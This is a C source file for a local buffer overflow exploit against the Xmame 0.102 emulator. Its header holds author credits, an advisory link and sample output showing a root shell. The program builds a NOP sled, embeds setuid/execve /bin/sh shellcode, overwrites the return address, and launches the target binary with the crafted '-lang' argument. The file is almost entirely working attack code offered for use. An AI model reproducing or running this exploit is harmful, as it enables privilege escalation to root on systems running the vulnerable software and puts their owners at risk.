/*
  Xmame 0.102 (-lang) Local Buffer Overflow Exploit
  Coded BY Qnix
     Qnix@bsdmail.org
     #0x11 @EFNET
     icq : 234263
     0x11.org
  Advisory : http://kerneltrap.org/node/6055

e.g: 

Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************

        (~) Stack pointer (ESP) : 0xbffff688
        (~) Offset from ESP     : 0x0
        (~) Desired Return Addr : 0xbffff688

GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU    library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#

*/

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 1057
#define NS  600

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  offset = 0;
  esp = sp();
  ret = esp - offset;

  if(argc < 2 || argc != 2)
  {
    fprintf(stderr,"%s <xmam.x11>\n",argv[0]);
    return(0);
  }

  fprintf(stdout,"**************************************************\n");
  fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
  fprintf(stdout,"Coded BY Qnix\n");
  fprintf(stdout,"**************************************************\n\n");
  fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
  fprintf(stdout,"\t(~) Offset from ESP     : 0x%x\n", offset);
  fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);

  buffer = malloc(BUFSIZE);

  ptr = buffer;
  addr_ptr = (long *) ptr;
  for(i=0; i < BUFSIZE; i+=4)
  { *(addr_ptr++) = ret; }

  for(i=0; i < NS; i++)
  { buffer[i] = '\x90'; }

  ptr = buffer + NS;
  for(i=0; i < strlen(shellcode); i++)
  { *(ptr++) = shellcode[i]; }

  buffer[BUFSIZE-1] = 0;

  execl(argv[1], "xmame.x11", "-lang", buffer, 0);

  free(buffer);

  return(0);

}